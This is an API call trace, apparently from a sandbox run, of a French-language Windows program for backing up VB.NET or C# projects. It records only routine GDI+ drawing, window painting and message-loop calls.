0x0 [0050.190] GdipIsMatrixIdentity (matrix=0x4c34fa0, result=0x32e968) returned 0x0 [0050.190] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0050.190] GdipGetMatrixElements (matrix=0x4c34fa0, matrixOut=0x6069d8) returned 0x0 [0050.190] LocalFree (hMem=0x6069d8) returned 0x0 [0050.190] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6069d8 [0050.190] GdipGetMatrixElements (matrix=0x4c34fa0, matrixOut=0x6069d8) returned 0x0 [0050.191] LocalFree (hMem=0x6069d8) returned 0x0 [0050.191] GdipDeleteMatrix (matrix=0x4c34fa0) returned 0x0 [0050.191] GdipIsInfiniteRegion (region=0x4c34ee0, graphics=0x4c34c00, result=0x32e990) returned 0x0 [0050.191] GdipIsInfiniteRegion (region=0x4c34ee0, graphics=0x4c34c00, result=0x32e980) returned 0x0 [0050.191] GdipGetRegionHRgn (region=0x4c34ee0, graphics=0x4c34c00, hRgn=0x32e980) returned 0x0 [0050.191] GdipDeleteRegion (region=0x4c34ee0) returned 0x0 [0050.191] GdipGetDC (graphics=0x4c34c00, hdc=0x32e998) returned 0x0 [0050.191] GetCurrentObject (hdc=0x1401084c, type=0x1) returned 0x1b00017 [0050.191] GetCurrentObject (hdc=0x1401084c, type=0x2) returned 0x1900010 [0050.191] GetCurrentObject (hdc=0x1401084c, type=0x7) returned 0x70050254 [0050.191] GetCurrentObject (hdc=0x1401084c, type=0x6) returned 0x18a002e [0050.191] SaveDC (hdc=0x1401084c) returned 1 [0050.191] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4604025c [0050.191] GetClipRgn (hdc=0x1401084c, hrgn=0x4604025c) returned 0 [0050.191] SelectClipRgn (hdc=0x1401084c, hrgn=0x230401e3) returned 2 [0050.191] DeleteObject (ho=0x4604025c) returned 1 [0050.191] DeleteObject (ho=0x230401e3) returned 1 [0050.191] OffsetViewportOrgEx (in: hdc=0x1401084c, x=0, y=0, lppt=0x25c0f1c | out: lppt=0x25c0f1c) returned 1 [0050.191] IsAppThemed () returned 0x1 [0050.191] GetThemeAppProperties () returned 0x3 [0050.191] GetThemeAppProperties () returned 0x3 [0050.192] GetThemeBackgroundContentRect () returned 0x0 [0050.192] RestoreDC (hdc=0x1401084c, nSavedDC=-1) returned 1 [0050.192] GdipReleaseDC (graphics=0x4c34c00, hdc=0x1401084c) returned 0x0 [0050.192] IsAppThemed () returned 0x1 [0050.192] GetThemeAppProperties () returned 0x3 [0050.192] GetThemeAppProperties () returned 0x3 [0050.192] GdipGetTextRenderingHint (graphics=0x4c34c00, mode=0x32eac8) returned 0x0 [0050.193] GdipGetDC (graphics=0x4c34c00, hdc=0x32eab4) returned 0x0 [0050.193] GetCurrentObject (hdc=0x1401084c, type=0x1) returned 0x1b00017 [0050.193] GetCurrentObject (hdc=0x1401084c, type=0x2) returned 0x1900010 [0050.193] GetCurrentObject (hdc=0x1401084c, type=0x7) returned 0x70050254 [0050.193] GetCurrentObject (hdc=0x1401084c, type=0x6) returned 0x18a002e [0050.193] SaveDC (hdc=0x1401084c) returned 1 [0050.193] GetTextAlign (hdc=0x1401084c) returned 0x0 [0050.193] GetTextColor (hdc=0x1401084c) returned 0x0 [0050.193] GetCurrentObject (hdc=0x1401084c, type=0x6) returned 0x18a002e [0050.193] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7bc | out: pv=0x32e7bc) returned 92 [0050.193] SelectObject (hdc=0x1401084c, h=0x100a0252) returned 0x18a002e [0050.193] GetBkMode (hdc=0x1401084c) returned 2 [0050.193] SetBkMode (hdc=0x1401084c, mode=1) returned 2 [0050.193] DrawTextExW (in: hdc=0x1401084c, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e890, format=0x102415, lpdtp=0x25c12b0 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e890) returned 13 [0050.193] DrawTextExW (in: hdc=0x1401084c, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32ea48, format=0x102015, lpdtp=0x25c12b0 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32ea48) returned 13 [0050.194] RestoreDC (hdc=0x1401084c, nSavedDC=-1) returned 1 [0050.194] GdipReleaseDC (graphics=0x4c34c00, hdc=0x1401084c) returned 0x0 [0050.194] GetFocus () returned 0x201e4 [0050.194] IsAppThemed () returned 0x1 [0050.194] GetThemeAppProperties () returned 0x3 [0050.194] GetThemeAppProperties () returned 0x3 [0050.194] GdipGetDC (graphics=0x4c34c00, hdc=0x32ec94) returned 0x0 [0050.194] BitBlt (hdc=0x2010847, x=0, y=0, cx=163, cy=29, hdcSrc=0x1401084c, x1=0, y1=0, rop=0xcc0020) returned 1 [0050.194] GdipReleaseDC (graphics=0x4c34c00, hdc=0x1401084c) returned 0x0 [0050.194] SelectPalette (hdc=0x2010847, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0050.194] SelectObject (hdc=0x1401084c, h=0x185000f) returned 0x70050254 [0050.194] DeleteDC (hdc=0x1401084c) returned 1 [0050.194] GdipDeleteGraphics (graphics=0x4c34c00) returned 0x0 [0050.195] EndPaint (hWnd=0x201e4, lpPaint=0x32ec38) returned 1 [0050.195] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0050.195] IsWindowUnicode (hWnd=0x201d6) returned 1 [0050.195] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0050.195] TranslateMessage (lpMsg=0x32f158) returned 0 [0050.195] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0050.195] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0050.195] IsWindowUnicode (hWnd=0x201d8) returned 1 [0050.195] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0050.195] TranslateMessage (lpMsg=0x32f158) returned 0 [0050.195] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0050.195] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0050.195] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0051.455] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0051.455] IsWindowUnicode (hWnd=0x201e4) returned 1 [0051.455] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0051.594] GetKeyState (nVirtKey=17) returned 0 [0051.594] GetKeyState (nVirtKey=18) returned -127 [0051.594] SendMessageW (hWnd=0x201e4, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0051.594] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0051.594] GetParent (hWnd=0x50120) returned 0x0 [0051.594] SendMessageW (hWnd=0x50120, Msg=0x127, wParam=0x20002, lParam=0x0) returned 0x0 [0051.594] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x127, wParam=0x20002, lParam=0x0) returned 0x0 [0051.683] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0051.683] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0051.683] GetStockObject (i=5) returned 0x1900015 [0051.683] GetDlgItem (hDlg=0x50120, nIDDlgItem=197040) returned 0x301b0 [0051.683] SendMessageW (hWnd=0x301b0, Msg=0x202b, wParam=0x301b0, lParam=0x32e244) returned 0x0 [0051.683] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0x202b, wParam=0x301b0, lParam=0x32e244) returned 0x0 [0051.684] RedrawWindow (hWnd=0x301b0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0051.684] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0051.684] InvalidateRect (hWnd=0x301ac, lpRect=0x0, bErase=1) returned 1 [0051.684] RedrawWindow (hWnd=0x301ac, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0051.684] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b2, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0051.684] GetStockObject (i=5) returned 0x1900015 [0051.684] GetDlgItem (hDlg=0x50120, nIDDlgItem=197042) returned 0x301b2 [0051.684] SendMessageW (hWnd=0x301b2, Msg=0x202b, wParam=0x301b2, lParam=0x32e244) returned 0x0 [0051.684] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b2, Msg=0x202b, wParam=0x301b2, lParam=0x32e244) returned 0x0 [0051.684] RedrawWindow (hWnd=0x301b2, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0051.684] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0051.684] GetStockObject (i=5) returned 0x1900015 [0051.684] GetDlgItem (hDlg=0x50120, nIDDlgItem=197038) returned 0x301ae [0051.684] SendMessageW (hWnd=0x301ae, Msg=0x202b, wParam=0x301ae, lParam=0x32e244) returned 0x0 [0051.684] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0x202b, wParam=0x301ae, lParam=0x32e244) returned 0x0 [0051.685] RedrawWindow (hWnd=0x301ae, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0051.685] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e8, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0051.685] GetStockObject (i=5) returned 0x1900015 [0051.685] GetDlgItem (hDlg=0x50120, nIDDlgItem=131560) returned 0x201e8 [0051.685] SendMessageW (hWnd=0x201e8, Msg=0x202b, wParam=0x201e8, lParam=0x32e244) returned 0x0 [0051.685] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e8, Msg=0x202b, wParam=0x201e8, lParam=0x32e244) returned 0x0 [0051.685] RedrawWindow (hWnd=0x201e8, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0051.685] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0051.685] GetStockObject (i=5) returned 0x1900015 [0051.685] GetDlgItem (hDlg=0x50120, nIDDlgItem=131558) returned 0x201e6 [0051.685] SendMessageW (hWnd=0x201e6, Msg=0x202b, wParam=0x201e6, lParam=0x32e244) returned 0x0 [0051.685] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0x202b, wParam=0x201e6, lParam=0x32e244) returned 0x0 [0051.685] RedrawWindow (hWnd=0x201e6, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0051.685] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x501b8, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0051.685] GetStockObject (i=5) returned 0x1900015 [0051.686] GetDlgItem (hDlg=0x50120, nIDDlgItem=328120) returned 0x501b8 [0051.686] SendMessageW (hWnd=0x501b8, Msg=0x202b, wParam=0x501b8, lParam=0x32e244) returned 0x0 [0051.686] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x501b8, Msg=0x202b, wParam=0x501b8, lParam=0x32e244) returned 0x0 [0051.686] RedrawWindow (hWnd=0x501b8, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0051.686] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0051.686] GetStockObject (i=5) returned 0x1900015 [0051.686] GetDlgItem (hDlg=0x50120, nIDDlgItem=197052) returned 0x301bc [0051.686] SendMessageW (hWnd=0x301bc, Msg=0x202b, wParam=0x301bc, lParam=0x32e244) returned 0x0 [0051.686] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0x202b, wParam=0x301bc, lParam=0x32e244) returned 0x0 [0051.686] RedrawWindow (hWnd=0x301bc, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0051.686] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301da, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0051.686] GetStockObject (i=5) returned 0x1900015 [0051.686] GetDlgItem (hDlg=0x50120, nIDDlgItem=197082) returned 0x301da [0051.686] SendMessageW (hWnd=0x301da, Msg=0x202b, wParam=0x301da, lParam=0x32e244) returned 0x0 [0051.687] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301da, Msg=0x202b, wParam=0x301da, lParam=0x32e244) returned 0x0 [0051.687] RedrawWindow (hWnd=0x301da, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0051.687] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0051.687] GetStockObject (i=5) returned 0x1900015 [0051.687] GetDlgItem (hDlg=0x50120, nIDDlgItem=131554) returned 0x201e2 [0051.687] SendMessageW (hWnd=0x201e2, Msg=0x202b, wParam=0x201e2, lParam=0x32e244) returned 0x0 [0051.687] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0x202b, wParam=0x201e2, lParam=0x32e244) returned 0x0 [0051.687] RedrawWindow (hWnd=0x201e2, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0051.687] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0051.687] GetStockObject (i=5) returned 0x1900015 [0051.687] GetStockObject (i=5) returned 0x1900015 [0051.687] GetDlgItem (hDlg=0x50120, nIDDlgItem=131556) returned 0x201e4 [0051.687] SendMessageW (hWnd=0x201e4, Msg=0x202b, wParam=0x201e4, lParam=0x32e180) returned 0x0 [0051.687] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x202b, wParam=0x201e4, lParam=0x32e180) returned 0x0 [0051.688] RedrawWindow (hWnd=0x201e4, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0051.688] RedrawWindow (hWnd=0x50120, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0051.745] GetKeyState (nVirtKey=16) returned 0 [0051.745] GetKeyState (nVirtKey=17) returned 0 [0051.745] GetKeyState (nVirtKey=18) returned -127 [0051.853] TranslateMessage (lpMsg=0x32f158) returned 1 [0051.853] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0051.855] GetKeyState (nVirtKey=16) returned 0 [0051.855] GetKeyState (nVirtKey=17) returned 0 [0051.855] GetKeyState (nVirtKey=18) returned -127 [0051.856] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0051.856] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0051.856] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x46, wParam=0x0, lParam=0x32f040) returned 0x0 [0051.865] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32edf0 | out: lpwndpl=0x32edf0) returned 1 [0051.865] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0051.865] GetClientRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0051.865] GetWindowRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0051.865] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0051.865] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0xd, wParam=0x104, lParam=0x4b8edb8) returned 0x0 [0051.866] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x83, wParam=0x1, lParam=0x32ec24) returned 0x0 [0051.866] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0051.873] NtdllDefWindowProc_W () returned 0x0 [0051.873] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1c, wParam=0x0, lParam=0x404) returned 0x0 [0051.873] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x1c, wParam=0x0, lParam=0x404) returned 0x0 [0051.873] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0051.874] InvalidateRect (hWnd=0x201e4, lpRect=0x0, bErase=0) returned 1 [0051.874] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0051.874] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0051.874] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0051.874] IsWindowUnicode (hWnd=0x50120) returned 1 [0051.874] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0051.874] TranslateMessage (lpMsg=0x32f158) returned 0 [0051.874] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0051.874] BeginPaint (in: hWnd=0x50120, lpPaint=0x32ec64 | out: lpPaint=0x32ec64) returned 0x1010830 [0051.874] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0051.876] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32e9c0 | out: lpwndpl=0x32e9c0) returned 1 [0051.876] GetClientRect (in: hWnd=0x50120, lpRect=0x32e96c | out: lpRect=0x32e96c) returned 1 [0051.876] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0051.876] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0051.876] GetSystemMetrics (nIndex=42) returned 0 [0051.876] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e7fc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0051.876] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e7fc) returned 0x23 [0051.876] GetClientRect (in: hWnd=0x50120, lpRect=0x32e874 | out: lpRect=0x32e874) returned 1 [0051.876] GetCurrentObject (hdc=0x1010830, type=0x1) returned 0x1b00017 [0051.876] GetCurrentObject (hdc=0x1010830, type=0x2) returned 0x1900010 [0051.876] GetCurrentObject (hdc=0x1010830, type=0x7) returned 0x13050829 [0051.876] GetCurrentObject (hdc=0x1010830, type=0x6) returned 0x18a002e [0051.876] SaveDC (hdc=0x1010830) returned 1 [0051.876] GetNearestColor (hdc=0x1010830, color=0xf0f0f0) returned 0xf0f0f0 [0051.876] CreateSolidBrush (color=0xf0f0f0) returned 0xe10084d [0051.876] FillRect (hDC=0x1010830, lprc=0x32e714, hbr=0xe10084d) returned 1 [0051.876] DeleteObject (ho=0xe10084d) returned 1 [0051.876] RestoreDC (hdc=0x1010830, nSavedDC=-1) returned 1 [0051.880] SelectPalette (hdc=0x1010830, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0051.880] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0051.880] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0051.880] GetSystemMetrics (nIndex=42) returned 0 [0051.880] GetWindowTextW (in: hWnd=0x50120, lpString=0x32ebc4, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0051.880] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32ebc4) returned 0x23 [0051.880] SelectPalette (hdc=0x1010830, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0051.880] EndPaint (hWnd=0x50120, lpPaint=0x32ec60) returned 1 [0051.880] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0051.880] IsWindowUnicode (hWnd=0x301b0) returned 1 [0051.880] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0051.880] TranslateMessage (lpMsg=0x32f158) returned 0 [0051.880] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0051.880] BeginPaint (in: hWnd=0x301b0, lpPaint=0x32ec48 | out: lpPaint=0x32ec48) returned 0x3010821 [0051.880] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0051.880] SelectPalette (hdc=0x3010821, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0051.881] CreateCompatibleDC (hdc=0x3010821) returned 0x35010806 [0051.881] SelectObject (hdc=0x35010806, h=0x70050254) returned 0x185000f [0051.881] GdipCreateFromHDC (hdc=0x35010806, graphics=0x32ec60) returned 0x0 [0051.881] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0051.881] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=139, height=13, combineMode=0x0) returned 0x0 [0051.881] GdipCreateMatrix (matrix=0x32eca8) returned 0x0 [0051.881] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0051.881] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecc0) returned 0x0 [0051.881] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.881] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x634980) returned 0x0 [0051.881] LocalFree (hMem=0x634980) returned 0x0 [0051.881] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0051.881] GdipCreateRegion (region=0x32eca8) returned 0x0 [0051.881] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0051.881] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ecb4) returned 0x0 [0051.881] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ece0) returned 0x0 [0051.881] GetWindowTextLengthW (hWnd=0x301b0) returned 22 [0051.881] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0051.881] GetSystemMetrics (nIndex=42) returned 0 [0051.881] GetWindowTextW (in: hWnd=0x301b0, lpString=0x32ebcc, nMaxCount=23 | out: lpString="Arborescence du projet") returned 22 [0051.881] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0xd, wParam=0x17, lParam=0x32ebcc) returned 0x16 [0051.888] GetClientRect (in: hWnd=0x301b0, lpRect=0x32eca8 | out: lpRect=0x32eca8) returned 1 [0051.888] GdipCreateRegion (region=0x32eafc) returned 0x0 [0051.888] GdipGetClip (graphics=0x4c358c0, region=0x4c35ec0) returned 0x0 [0051.888] GdipCreateMatrix (matrix=0x32eafc) returned 0x0 [0051.888] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0051.888] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32eb14) returned 0x0 [0051.888] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.888] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x634980) returned 0x0 [0051.888] LocalFree (hMem=0x634980) returned 0x0 [0051.889] GdipCombineRegionRegion (region=0x4c35ec0, region2=0x4c35bd0, combineMode=0x1) returned 0x0 [0051.889] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.889] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x634980) returned 0x0 [0051.889] LocalFree (hMem=0x634980) returned 0x0 [0051.889] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0051.889] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb3c) returned 0x0 [0051.889] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb2c) returned 0x0 [0051.889] GdipGetRegionHRgn (region=0x4c35ec0, graphics=0x4c358c0, hRgn=0x32eb2c) returned 0x0 [0051.889] GdipDeleteRegion (region=0x4c35ec0) returned 0x0 [0051.889] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb44) returned 0x0 [0051.889] GetCurrentObject (hdc=0x35010806, type=0x1) returned 0x1b00017 [0051.889] GetCurrentObject (hdc=0x35010806, type=0x2) returned 0x1900010 [0051.889] GetCurrentObject (hdc=0x35010806, type=0x7) returned 0x70050254 [0051.889] GetCurrentObject (hdc=0x35010806, type=0x6) returned 0x18a002e [0051.889] SaveDC (hdc=0x35010806) returned 1 [0051.889] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x250401e3 [0051.889] GetClipRgn (hdc=0x35010806, hrgn=0x250401e3) returned 0 [0051.889] SelectClipRgn (hdc=0x35010806, hrgn=0x21040850) returned 2 [0051.889] DeleteObject (ho=0x250401e3) returned 1 [0051.889] DeleteObject (ho=0x21040850) returned 1 [0051.889] OffsetViewportOrgEx (in: hdc=0x35010806, x=0, y=0, lppt=0x25c5898 | out: lppt=0x25c5898) returned 1 [0051.889] GetNearestColor (hdc=0x35010806, color=0xf0f0f0) returned 0xf0f0f0 [0051.889] CreateSolidBrush (color=0xf0f0f0) returned 0xf10084d [0051.889] FillRect (hDC=0x35010806, lprc=0x32eb48, hbr=0xf10084d) returned 1 [0051.890] DeleteObject (ho=0xf10084d) returned 1 [0051.890] RestoreDC (hdc=0x35010806, nSavedDC=-1) returned 1 [0051.890] GdipReleaseDC (graphics=0x4c358c0, hdc=0x35010806) returned 0x0 [0051.890] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfdab0dbd) returned 0x0 [0051.890] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0051.890] GetWindowTextLengthW (hWnd=0x301b0) returned 22 [0051.890] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0051.890] GetSystemMetrics (nIndex=42) returned 0 [0051.890] GetWindowTextW (in: hWnd=0x301b0, lpString=0x32ebcc, nMaxCount=23 | out: lpString="Arborescence du projet") returned 22 [0051.890] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0xd, wParam=0x17, lParam=0x32ebcc) returned 0x16 [0051.890] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb64) returned 0x0 [0051.890] GetCurrentObject (hdc=0x35010806, type=0x1) returned 0x1b00017 [0051.890] GetCurrentObject (hdc=0x35010806, type=0x2) returned 0x1900010 [0051.890] GetCurrentObject (hdc=0x35010806, type=0x7) returned 0x70050254 [0051.890] GetCurrentObject (hdc=0x35010806, type=0x6) returned 0x18a002e [0051.890] SaveDC (hdc=0x35010806) returned 1 [0051.890] GetNearestColor (hdc=0x35010806, color=0x0) returned 0x0 [0051.890] RestoreDC (hdc=0x35010806, nSavedDC=-1) returned 1 [0051.890] GdipReleaseDC (graphics=0x4c358c0, hdc=0x35010806) returned 0x0 [0051.891] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 